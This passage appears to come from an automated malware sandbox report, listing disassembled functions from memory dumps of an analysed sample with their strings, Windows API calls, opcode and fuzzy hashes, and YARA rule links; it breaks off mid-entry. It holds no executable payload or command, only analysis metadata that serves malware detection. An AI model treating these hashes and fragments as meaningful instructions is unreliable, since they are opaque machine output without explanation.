Instruction Fuzzy Hash: DF818672508301DFC758CF22898A46BBBF1EFC8758F54991DF5A6962A0D3B0CA09CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00DA0FC5, Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

pl.d, xrefs: 00DA104C
jo, xrefs: 00DA0FFC

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: jo$pl.d
API String ID: 1586166983-342083115
Opcode ID: 58958b1e2a74e5c6866283a175c8f1255ba365a82e287daaf3ecf1b9e2fbdea5
Instruction ID: a2d350453bf8f48dd953c876d8c6322c74dd61493a0d8328a2d1a4a8c3d3cf1b
Opcode Fuzzy Hash: 58958b1e2a74e5c6866283a175c8f1255ba365a82e287daaf3ecf1b9e2fbdea5
Instruction Fuzzy Hash: DB81FF72D0020DEBCF18CFE5D98A9DEBBB2FB44318F208159E411BA260D7B55A59CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00DB20F8, Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

`B, xrefs: 00DB222C
Ep?, xrefs: 00DB21CB

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Ep?$`B
API String ID: 0-215957162
Opcode ID: 6be460c8776ef665dbf040bf5b213487bcd55f047dba92902c92d35bd47f6e10
Instruction ID: 34a43f82acae8702196c948f36b97968f8561d650e978bc1efb209e4c7b0af21
Opcode Fuzzy Hash: 6be460c8776ef665dbf040bf5b213487bcd55f047dba92902c92d35bd47f6e10
Instruction Fuzzy Hash: A65179729083419FC354DF25D98945FFBF0FB84718F544A2DF8EAA6220D7748A098BA7

Uniqueness

Uniqueness Score: -1.00%

Function 00D92176, Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

4T @, xrefs: 00D92201
;E, xrefs: 00D922BF

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 4T @$;E
API String ID: 0-2491102183
Opcode ID: af6e7164739a65cf2bf93667b58dd70aa3a7490487328ca91dc72f9cb07e2bd5
Instruction ID: 4b77678ddb91afa77c960f8635e0d9791f41b9d0bbc0efde6f58478877987ef2
Opcode Fuzzy Hash: af6e7164739a65cf2bf93667b58dd70aa3a7490487328ca91dc72f9cb07e2bd5
Instruction Fuzzy Hash: 9E5188B1508341EFD708CF25E58951BBBE1FBC4758F508A1DF489AA260D3B1CA48CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00D95DC3, Relevance: 2.6, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

=7u/, xrefs: 00D95E7D
=7u/, xrefs: 00D95FC6

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: =7u/$=7u/
API String ID: 0-275303271
Opcode ID: 302ef0a94d1fc76037e639c6d17a1d13b5e55e32af9d85377a4b2c95da266733
Instruction ID: 7463248875b4cf2a395d4121a5e8f0a083c6442290eba74a8a7b844e9ee532bb
Opcode Fuzzy Hash: 302ef0a94d1fc76037e639c6d17a1d13b5e55e32af9d85377a4b2c95da266733
Instruction Fuzzy Hash: 5C5176715083419FCB59DF20958581FBBE1FFC83A8F544A2CF69A96220D3758A49CFA3

Uniqueness

Uniqueness Score: -1.00%

Function 00D92DC5, Relevance: 2.6, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

50, xrefs: 00D92E29
`F, xrefs: 00D92ECD

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 50$`F
API String ID: 0-2597214580
Opcode ID: 0364f6d1653c4bde0a341bef7ef3f32b1fe62a687ceb0c490c78cd4738c8066f
Instruction ID: d86fbad6b7b084a7f4892c0a78e851e47c67a712bdbc641c80bed03383224d60
Opcode Fuzzy Hash: 0364f6d1653c4bde0a341bef7ef3f32b1fe62a687ceb0c490c78cd4738c8066f
Instruction Fuzzy Hash: 195157715083429FCB45CE22D88582FBBE1FFD8348F104A1DF59656260D7B5CA0A8F97

Uniqueness

Uniqueness Score: -1.00%

Function 00D9AEB9, Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

!\, xrefs: 00D9AFD4
yXw, xrefs: 00D9AF39

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: yXw$!\
API String ID: 0-755724215
Opcode ID: e332698aff545c173299b3d576f5c3ba86fd243aa172ad9414103bcc77973896
Instruction ID: 2f342a381bdeff9f6ee1e6a6fc384795a98ced1c7d56dce1f9c2070f875e07bd
Opcode Fuzzy Hash: e332698aff545c173299b3d576f5c3ba86fd243aa172ad9414103bcc77973896
Instruction Fuzzy Hash: 3741F071D00209EBCF44DFA5D94A8EEBFB5EF44314F208199D415B6260D7B91B55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DABFA1, Relevance: 2.6, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

1VC, xrefs: 00DAC07A
HRG, xrefs: 00DAC055

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 1VC$HRG
API String ID: 0-1729148703
Opcode ID: d91384db02164864f113f243955d1fa5785661b934d34a94043782ee8d1840ae
Instruction ID: d06472351233e14199bff393c63d4635090d18a93b935c71ba5d42f3cc28e6aa
Opcode Fuzzy Hash: d91384db02164864f113f243955d1fa5785661b934d34a94043782ee8d1840ae
Instruction Fuzzy Hash: EA315972908301CBC318DE29D94941FBBE1EBD5728F048A5EF8D8A7250D7B59D09CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00DA0824, Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

g;{, xrefs: 00DA0867
:O, xrefs: 00DA0910

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: :O$g;{
API String ID: 0-3257243416
Opcode ID: 1f7edd328e28f6af2a72c4d4d6a5b36b3881e85017b5a27d0145efcadb109785
Instruction ID: a690d5a24f3ef910968d540e7e243c97c026b85beaff1a7e9d61cea6426c1313
Opcode Fuzzy Hash: 1f7edd328e28f6af2a72c4d4d6a5b36b3881e85017b5a27d0145efcadb109785
Instruction Fuzzy Hash: 6641F2B5C0034AEBCF04CFA5DA0A8DEBBB1FF54314F108548E925A6210D3B59765DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E90744C, Relevance: 2.5, APIs: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00000000,?,6E90204A,?,?,00000000,00000001), ref: 6E907490
HeapFree.KERNEL32(00000000,?,6E90204A,?,?,00000000,00000001), ref: 6E907497

Part of subcall function 6E907304: GetProcessHeap.KERNEL32(00000000,?,?,6E90746A,00000000,00000000,?,6E90204A,?,?,00000000,00000001), ref: 6E90731C
Part of subcall function 6E907304: HeapFree.KERNEL32(00000000,?,6E90746A,00000000,00000000,?,6E90204A,?,?,00000000,00000001), ref: 6E907323

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 6c48b8273bed12349e323795548b762681eaca2c0a62e7baed718afb0661af08
Instruction ID: 3c5bd7753b82e1872af13ef07c6ac19a396d9922c3090e9158abc13cf5bbc584
Opcode Fuzzy Hash: 6c48b8273bed12349e323795548b762681eaca2c0a62e7baed718afb0661af08
Instruction Fuzzy Hash: D9F0E233601A05AFCE513AD5E908B9E3FAEDFC2B71F80841DE515426C08B70C840DEA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E91AE28, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6E91AE23,?,?,00000008,?,?,6E9265EA,00000000), ref: 6E91B055

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 1a22dfee6590aba97773581d6a71c848cda2bcd3b5ac76aaae59e07b7a09020a
Instruction ID: 150ecc5bc7331ee0343a8198f36976ba14ba29fd51da537149756d90ae37fbae
Opcode Fuzzy Hash: 1a22dfee6590aba97773581d6a71c848cda2bcd3b5ac76aaae59e07b7a09020a
Instruction Fuzzy Hash: AAB1337222460ACFDB55CF68C496B947BA1FF05364F258658E8A9CF3A5C335E982CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E904C86, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6E904C9C

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 89b6d3602cb365916925b6c7100bc85f7de35c545e8c23846f8831306fad8d77
Instruction ID: 2ce322cda8f36312bf09aa895bee29d03ea97dc04f3e4b5821afdaeeef6b385e
Opcode Fuzzy Hash: 89b6d3602cb365916925b6c7100bc85f7de35c545e8c23846f8831306fad8d77
Instruction Fuzzy Hash: F45149B1A147068BEB14CF95C49179ABBF5FF49710F60882AD825EB344D374E942CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E91BA20, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9800125d716c9d20e498a5eabbfc52267b490efa53a77fa920f4be1c00aafe32
Instruction ID: 4684a8484bae7a6b9d07eebc3bd98ebe2fb4b130d55923d93d15da17c76a1613
Opcode Fuzzy Hash: 9800125d716c9d20e498a5eabbfc52267b490efa53a77fa920f4be1c00aafe32
Instruction Fuzzy Hash: 014194B580821DAEDB10DFA9CC98AEABBBDEF45304F1442D9E41DD3314EA359E848F50

Uniqueness

Uniqueness Score: -1.00%

Function 6E924C7C, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

Part of subcall function 6E91897C: _free.LIBCMT ref: 6E9189DE
Part of subcall function 6E91897C: _free.LIBCMT ref: 6E918A14

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6E924CD0

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 73dc56484100d4b087d40c007f8a4d29afbc2b8e731b82200b1ddc9ba3a56137
Instruction ID: 20925f86d64211f25b740a39b65a62206312798f6781f848e3f29e5c977aaa02
Opcode Fuzzy Hash: 73dc56484100d4b087d40c007f8a4d29afbc2b8e731b82200b1ddc9ba3a56137
Instruction Fuzzy Hash: 3E21C57262520AAFDF28DAA5DC41AFA77ACEF55714F00047AED05C7148EB74ED028F50

Uniqueness

Uniqueness Score: -1.00%

Function 6E924901, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

EnumSystemLocalesW.KERNEL32(6E924A27,00000001,00000000,?,6E919DC4,?,6E92505F,00000000,00000055,?,?), ref: 6E924973

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 98f47b70f17994bee50d56863008f73ca1041657c947c802ff2a00e9236e21ac
Instruction ID: f4e863c14b21252f6c77f240811f47d98632303b2b5ffabc37bd4a1005239dec
Opcode Fuzzy Hash: 98f47b70f17994bee50d56863008f73ca1041657c947c802ff2a00e9236e21ac
Instruction Fuzzy Hash: 9911253B2287019FDF189F79C8905AABBA6FF84768B15483CD98687B04D771A903CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E924EAC, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,6E924C43,00000000,00000000,?), ref: 6E924ED8

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 9a707db23a4a377c2d9cd28359a511e6afbe32620b93200af53ce9288cce2d3d
Instruction ID: 0e93a6210c0b230c41c5b0ec35ceec44688a837e8f3bafa949210a0dc34d2f5d
Opcode Fuzzy Hash: 9a707db23a4a377c2d9cd28359a511e6afbe32620b93200af53ce9288cce2d3d
Instruction Fuzzy Hash: 09F0D6329241166FEF149AA5C8057FA776CEFC0755F010879EC19A3148DA74E943CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 6E92480D, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

Part of subcall function 6E91897C: _free.LIBCMT ref: 6E9189DE
Part of subcall function 6E91897C: _free.LIBCMT ref: 6E918A14

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6E919DCB,00000000,6E919EEB), ref: 6E924861

Strings

utf8, xrefs: 6E9247CE

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free$InfoLocale
String ID: utf8
API String ID: 2003897158-905460609
Opcode ID: ce2189bd1f3c0f6c13316acfdec147273551a8becf9eaa63c6327a5bc56b6c88
Instruction ID: fd9788ee2e7e52a5d2392eeaeb22479efcde280ae533c0340b11c2afa8ac9fe1
Opcode Fuzzy Hash: ce2189bd1f3c0f6c13316acfdec147273551a8becf9eaa63c6327a5bc56b6c88
Instruction Fuzzy Hash: EAF02832A24109AFCB14DBB8DC45AFA33ACDF99724F000579E905D7240EB74ED058F90

Uniqueness

Uniqueness Score: -1.00%

Function 6E92499C, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

EnumSystemLocalesW.KERNEL32(6E924C7C,00000001,00000000,?,6E919DC4,?,6E925023,6E919DC4,00000055,?,?,?,?,6E919DC4,?,?), ref: 6E9249E6

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ad802c9c71a5678a1cc958631d89b2d4d2f2c28df0cb683904e06fc0ea31556e
Instruction ID: db496e55da83010c341ae36ca81a5a219f14795ee83649730c985a58bd9bd0f4
Opcode Fuzzy Hash: ad802c9c71a5678a1cc958631d89b2d4d2f2c28df0cb683904e06fc0ea31556e
Instruction Fuzzy Hash: 65F0463A2143045FDF249FB9C880AAA7B98EF80B68B05443CE9454B644C771EC03CE00

Uniqueness

Uniqueness Score: -1.00%

Function 6E9248B6, Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

EnumSystemLocalesW.KERNEL32(6E92480D,00000001,00000000,?,?,6E925081,6E919DC4,00000055,?,?,?,?,6E919DC4,?,?,?), ref: 6E9248ED

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7dcf16c7a60d2d5e3d69ea809e641ae35199c4b78972adc34f8871e392df1bd5
Instruction ID: 587a4de3a589d1e114b80228f0fbde140769878bfbdf1522ebc86c00aea8602f
Opcode Fuzzy Hash: 7dcf16c7a60d2d5e3d69ea809e641ae35199c4b78972adc34f8871e392df1bd5
Instruction Fuzzy Hash: 59F055363242895BCF089FB9C8446AA7FA8EFC1328B060068EA058B254C231D843CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E91C982, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 6E915B64: EnterCriticalSection.KERNEL32(?,?,6E914C53,00000000,6E93A3D8,0000000C,6E914C1A,?,?,6E91B439,?,?,6E918B1E,00000001,00000364,00000008), ref: 6E915B73

EnumSystemLocalesW.KERNEL32(6E91C975,00000001,6E93A758,0000000C,6E91CD3B,00000000), ref: 6E91C9BA

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 9110121cd249e62cbb1c50e44a1357a0469c31e3f5e92d4788c5790bf49ee76a
Instruction ID: 346b2c645e271180cc07e5e1e66904c6b858284c9a2be9c9c96548888a275477
Opcode Fuzzy Hash: 9110121cd249e62cbb1c50e44a1357a0469c31e3f5e92d4788c5790bf49ee76a
Instruction Fuzzy Hash: 3FF03475918608EFDB10DFA8C480BCC37F4AFAA32AF10451AE8109F2A0CB7489469F84

Uniqueness

Uniqueness Score: -1.00%

Function 6E91CE41, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,?,?,6E919EF3,?,20001004,?,00000002,00000000,?,?), ref: 6E91CE75

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 3ef415cc428919ddeff7f3bfa01be23d1ab4991bd46b4b4418fbe4bce37b72e5
Instruction ID: ef65028e6a1d83546fb3254d454fa32270365a8c970c682ced03a7b39e475bcd
Opcode Fuzzy Hash: 3ef415cc428919ddeff7f3bfa01be23d1ab4991bd46b4b4418fbe4bce37b72e5
Instruction Fuzzy Hash: 87E04F7254862CBBCF165FA1DC14AEE3E29EF55B61F004820FD1569610CB71CD21AED0

Uniqueness

Uniqueness Score: -1.00%

Function 6E90C366, Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

0, xrefs: 6E90C4FE

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d8d293318b49793c7aaed30fcbba01e3721061f23b45ccd59ea970ad661548e0
Instruction ID: 8e1f49157917a9dfd706b9c3a3cd840965af20acc6fbed008170d1d69e8e95bb
Opcode Fuzzy Hash: d8d293318b49793c7aaed30fcbba01e3721061f23b45ccd59ea970ad661548e0
Instruction Fuzzy Hash: 2D61467165460A9ADB58CAE888A07BE73ADBF96718FC00D1ED842DF3C0D761D9428F71

Uniqueness

Uniqueness Score: -1.00%

Function 00D939C3, Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

^5}, xrefs: 00D93A59

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ^5}
API String ID: 0-367400351
Opcode ID: e7e1110c2537d702eeabee44b81dab2c9a860eafeac5d221dc02ca898951af7b
Instruction ID: f0d531472f6927e10cdf21816a973283b64ccc5769c59986e41c53ddc8e484ac
Opcode Fuzzy Hash: e7e1110c2537d702eeabee44b81dab2c9a860eafeac5d221dc02ca898951af7b
Instruction Fuzzy Hash: C0A167715083409BCB68DF24C49952FBBE1FFD4718F540A2DF6CA96260C771DA48CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E90C132, Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

0, xrefs: 6E90C2AE

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: f8843f869ee3a7cab789a99038b5158e12af4cc44804b228eaaba3f9a03773db
Instruction ID: 7c729dfdbc8f8631666365abccfca482696929553c90d24900115acfbf4a21ea
Opcode Fuzzy Hash: f8843f869ee3a7cab789a99038b5158e12af4cc44804b228eaaba3f9a03773db
Instruction Fuzzy Hash: 83519C7124464AAADBD489EC88A07AF77AD9F93304FC0091EE841DF681D711D986CF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D98D59, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

Rz, xrefs: 00D98E1F

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Rz
API String ID: 0-2038740235
Opcode ID: 30c8375b9bc016b705a576fecb7297a46814b8225731eb96ecfb570276a06d1c
Instruction ID: 038c5269009d6f2a14fb2129cf5464b0a73bb3c3f17dcfc4d74169352be0e17d
Opcode Fuzzy Hash: 30c8375b9bc016b705a576fecb7297a46814b8225731eb96ecfb570276a06d1c
Instruction Fuzzy Hash: 88912EB10093819FC758DF66C58941BFBE1FBD5B18F004A1DF2A696260D7B18A09CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00D933A9, Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

&-, xrefs: 00D93483

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &-
API String ID: 0-1647332301
Opcode ID: 88f211a84dc5335ea576c4cdbd0bb5f64719d5f1b32801283f2a9fb720df69cb
Instruction ID: 75c9cad6acf4bc82685bfa008e12b5fe14058bc94fc408c7de83fc2db93f16da
Opcode Fuzzy Hash: 88f211a84dc5335ea576c4cdbd0bb5f64719d5f1b32801283f2a9fb720df69cb
Instruction Fuzzy Hash: 90715370408341ABCBA8CF64C48A55FBFE1FBC5398F504A1DF0D656260D3B5CA89CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D97D87, Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

]1, xrefs: 00D97DE5

Memory Dump Source

